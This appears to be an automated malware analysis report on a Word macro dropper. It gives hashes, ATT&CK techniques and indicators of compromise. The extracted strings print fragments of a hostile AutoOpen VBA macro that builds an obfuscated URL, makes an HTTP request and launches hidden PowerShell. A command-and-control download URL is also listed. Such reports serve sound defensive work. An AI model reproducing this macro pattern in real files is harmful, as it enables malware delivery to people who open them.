KVMX

Evidence-First Malware Analysis

Analysis Report: macro_dropper.doc

Verdict: MALICIOUS

macro_dropper.doc has an unrecognized format. Verdict: malicious.

Analysis Overview

Score: 9/10

Threat level: Malicious

Malicious Activity Summary

- Obfuscated Files or Information
- Command and Scripting Interpreter: PowerShell
- Application Layer Protocol: Web Protocols
- Ingress Tool Transfer

Hashes

SHA-256:	6be83d094eb215ea1102761abae053b34343f5bd3650316ac30d6389e07e6c8b
SHA-1:	59adad1636b79623d1d89733dee50cf8964e1f4e
MD5:	7b98d9fb11d4963963f29c5d6e98c8b8
Size:	12,288 bytes

Packer Detection

No packer detected.

Strings (14 found)

```
ID="{00000000-0000-0000-0000-000000000000}"
Module=Module1
Module1G
Module12
?Attribute VB_Name = "Module1"
Sub AutoOpen()
  u = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(109) & Chr(97) &
  Set x = CreateObject("MSXML2.XMLHTTP")
  Shell "powershell -w hidden"
End Sub
Root Entry
PROJECT
_VBA_PROJECT
Module1
```

Indicators of Compromise (2)

URLs (1)

```
http://maldoc-seed-c2.evil-host.net/p.dat
```

Domains (1)

```
maldoc-seed-c2.evil-host.net
```

MITRE ATT&CK (4)

Technique	Name	Tactic	Source
T1027	Obfuscated Files or Information	Defense Evasion	
T1059.001	Command and Scripting Interprete	Execution	
T1071.001	Application Layer Protocol: Web	Command and Control	
T1105	Ingress Tool Transfer	Command and Control	

Report ID: IN-7Yxf_DN2s-jXbM42quqFbf7bvqjI3YL-uGZnhqvc
Generated by KVMX - kvmx.ai